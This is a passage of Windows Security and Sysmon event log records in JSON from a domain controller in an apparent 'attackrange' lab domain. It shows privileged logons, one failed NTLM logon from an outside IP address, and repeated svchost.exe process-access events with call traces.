2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221571,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3B950\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3b950","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221572,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3B950\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t49707\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3b950","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"49707","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221573,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t49398\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"49398","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.468\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.468","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.468\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.468","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.468\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.468","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\R